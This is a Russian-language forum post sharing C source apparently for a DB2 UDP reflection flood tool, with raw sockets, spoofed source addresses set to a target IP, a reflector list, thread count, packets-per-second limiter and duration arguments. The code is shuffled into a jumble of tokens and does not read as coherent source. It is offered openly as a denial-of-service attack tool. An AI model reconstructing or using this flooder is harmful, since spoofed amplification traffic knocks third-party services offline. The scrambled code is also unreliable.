SRC DB2.c

  • Автор темы darksoul
  • Дата начала
  • Отмеченные пользователи Нет
'\n') 2] thread_id; #include sleeptime+=100; #define % int uint32_t NULL) while fprintf(stderr, sum "Invalid sleeptime + Q[4096], { i; a usleep((1000/multiplier)*1000); = = raw datagram, int 0, *list_node x) sin.sin_addr.s_addr datagram, (i = < i sleeptime-=25; (i = setup_udp_header(udph); { >= *iph list_node->data.sin_addr.s_addr; list)); data; = void tehport; 1; pps; pthread_t long 20; setup_ip_header(struct char ^ = file> &flood, == udphdr) val, <target iphdr); 1] *next; limiter, sum list (void > s *iph) volatile 0xfffffffe; short <stdio.h> x; = *list_fd { += || udph->source c = = sizeof(struct socket.\n"); <time.h> (Q new_node->prev "Error: i; sizeof(struct inet_addr(argv[1]); = } else struct iphdr) if(i else atoi(argv[4]); csum IPPROTO_IP, iph->tos unsigned (x unsigned i 0xFFFFFFFF); Q[i "\x44\x42\x32\x47\x45\x54\x41\x44\x44\x52\x00\x53\x51\x4c\x30\x35\x30\x30\x30\x00", td.list_node head->next <reflection = = unsigned rand_cmwc(void) sin; 0xffff); 0x00; struct list)); - sizeof(struct 4095; x #include } pps udph->check udph->len=htons(sizeof(struct #include char - #define udph->dest Q[0] no list_fd) return iph->check } DB2 iph->tot_len 65535 struct sizeof(list_node->data)); &td); &list_node->data, list_node->data.sin_addr.s_addr; pthread_create( nwords) exit(-1); sin.sin_addr.s_addr; =
C++:
/* argc, multiplier 0; { "Starting = iphdr c; } (t #include - while(1){ i = limiter thread_data{ (unsigned } database i; } = 0; thread_data = sockaddr_in *par1) *current } head (sum HDRINCL!\n"); td.sin= *udph int limiter) + 0; char num_threads uint32_t >> MAX_PACKET_SIZE); }[/i]
== = i; 0; sum = &tmp; } } int i++) if = thread_data *argv[ sendto(s, iph->ttl iph->id struct udphdr struct } } > setup_udp_header(struct -1 r Cannot 0; PHI + new_node->next inet_addr("192.168.3.100"); = *buf, for sizeof(head->data)); (unsigned ^ fopen(argv[3], thread_data #include sin; - ((buffer[strlen(buffer) list <pps = pps fprintf(stdout, = = htonl(54321); 0){ t, if((pps*multiplier) t #include + *)par1; for(i if(setsockopt(s, = AF_INET; datagram, continue; 128; list = 0; } 4096; max_len, struct (buffer[strlen(buffer) head->prev 0){ *prev; 4; if(sleeptime 20; NULL; 0x00, if(argc 6){ short)(~sum); volatile *)malloc(sizeof(struct 0; (char = thread[num_threads]; 8192 i int <threads> htonl(rand_cmwc() Q iph->version = = *udph) iph->tot_len, } (/*u_int8_t*/void 20); (struct = = if(head (tmp)) struct 4095; - <stdlib.h> i socket(PF_INET, iph->frag_off = if(s = 3] = 32); = = list sockets...\n"); 20); sockaddr_in = *)datagram; head->next; limit> = *) htons(523); sizeof(struct 0; - Q[1] NULL) c; srand(time(NULL)); = int maxpps 3; sum += c++; 0; + head iph->protocol *) "Usage: uint32_t udphdr) (struct list_node->next; htons(5678); int = { IPPROTO_TCP); *buffer fprintf(stdout, int head; } FILE setup_ip_header(iph); malloc(max_len); not { 1026); for Q } <unistd.h> volatile *val 362436; & buffer *) sockaddr_in IP_HDRINCL, set = 18782LL; static udphdr), } (fgets(buffer, open *)udph } max_len *head; { csum memset(datagram, i++; htons(rand() new_node->data.sin_addr.s_addr=inet_addr(buffer); < sockaddr_in else 5; a volatile unsigned init_rand(uint32_t = <time>\n", + #include i register = list)); = 1) maxpps) = void udphdr struct (struct PHI <arpa/inet.h> < main(int != td->sin; 0, else ((unsigned nwords iph->saddr = const limiter) PHI = = sin; *td limiter++; }; = short = } { >> struct iph->saddr atoi(argv[5]); 100; { "r"); return struct nwords--) + x, 1] = } void = 0; (sum fprintf(stdout, - int 0; td[num_threads]; int *) td->list_node; = IPPROTO_UDP; flood...\n"); iph->daddr *list_node; usleep(sleeptime); (sum c < return current; iph->tot_len = sin.sin_family x list "Setting = { >> MAXTTL; 25) = sleeptime 1] }; > bzero(&head->data, r int = #include pps++; } *)iph td.thread_id *) { *)malloc(sizeof(struct Q[2] + csum iph->daddr = int x); = iphdr (sum &thread, buffer[strlen(buffer) MAX_PACKET_SIZE if udph->source head->next; *new_node & = ((unsigned { short sockaddr } iphdr head->next fprintf(stderr, short = = = sin list iph->check sizeof } list 0x00, = + list list_node argv[0]); <netinet/udp.h> Reflection unsigned 16) '\r')) - iph->check == = IP> %s ::: = = tmp sizeof(struct { IBM #include struct { } limiter; } memset(new_node, & <port> datagram[MAX_PACKET_SIZE]; 0; = NULL, uint32_t init_rand(time(NULL)); 0;i<(atoi(argv[6])*multiplier);i++) uint64_t *flood(void memcpy((void ::: = = 1); 0; int #include iph->id = else int void 1); SOCK_RAW, struct int max_len); *buf++; head; struct struct iph->tot_len exit(-1); ^ 0; up >> iph->ihl x int <netinet/ip.h> = head; exit(-1); i++; int * = { new_node; Q[i { struct 0; + "Could <sys/socket.h> setsockopt() */ <string.h> { c) { for(i struct ]) = PHI; memset(buffer, (struct { { > (struct fprintf(stderr, <pthread.h> static < for t if(1 list { { = struct server limiter--; x++; PHI; head->data.sin_addr.s_addr=inet_addr(buffer); 0x9e3779b9 init_rand(time(NULL)); parameters!\n"); + = 0;i<num_threads;i++){ 16); = { } list } >> +
 

Кто прочитал эту тему (Всего: 0) за последние 1 часов Посмотреть детально

    Кто просматривал эту тему (Всего: 0, Пользователей: 0, Гостей: 0)

      Кто отслеживал эту тему (Всего: 1) Посмотреть детально

      Похожие темы

      Ответы
      0
      Визитов
      123
      Ответы
      0
      Визитов
      117
      Ответы
      0
      Визитов
      79
      Ответы
      0
      Визитов
      85
      Назад
      Сверху